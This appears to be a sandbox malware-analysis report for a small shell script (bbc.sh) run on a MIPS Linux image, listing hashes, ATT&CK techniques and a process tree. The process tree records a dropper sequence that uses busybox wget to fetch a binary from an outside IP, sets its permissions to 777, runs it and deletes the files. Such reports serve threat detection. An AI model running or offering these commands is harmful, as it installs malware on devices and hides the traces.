e266c8d3b55220ad94d6c27da4758809bf0e8c359aeb63e6592a6de52a216c95

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/08/2026, 00:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bbc.sh
Size 498B
Sample260820-baltraxclf
SHA256 e266c8d3b55220ad94d6c27da4758809bf0e8c359aeb63e6592a6de52a216c95
MD5 ac51c9405fb30f330ee015600ff52391
SHA1 75a1fd3445b5a4ac9188dbcc6893b1c71dd288f7
SHA512 6c0e8e8f4d7481597618dbe429c5a4da34493a907406442a55e43f9bc70eacdbb16507a1eaf1848c76c51ffed184967115fbbcd1849f23f2174d3d487fb22961
TLSH
T19CF0A703B48BF032804039E4DB66F75AFC347D476262DE4CB8407A60DFD34347861244
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
713	busybox
747	data_mips
748	rm
708	rm

/tmp/bbc.sh
/tmp/bbc.sh
1⤵
PID:704
- /bin/uname
  uname -m
  2⤵
  PID:706
- /bin/rm
  rm data_mips
  2⤵
  - System Network Configuration Discovery
  PID:708
- /bin/busybox
  busybox wget http://31.58.171.194/data_mips
  2⤵
  - System Network Configuration Discovery
  PID:713
- /bin/chmod
  chmod 777 data_mips
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/data_mips
  ./data_mips tbk
  2⤵
  - System Network Configuration Discovery
  PID:747
- /bin/rm
  rm data_mips
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/rm
  rm /tmp/bbc.sh
  2⤵
  PID:750

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads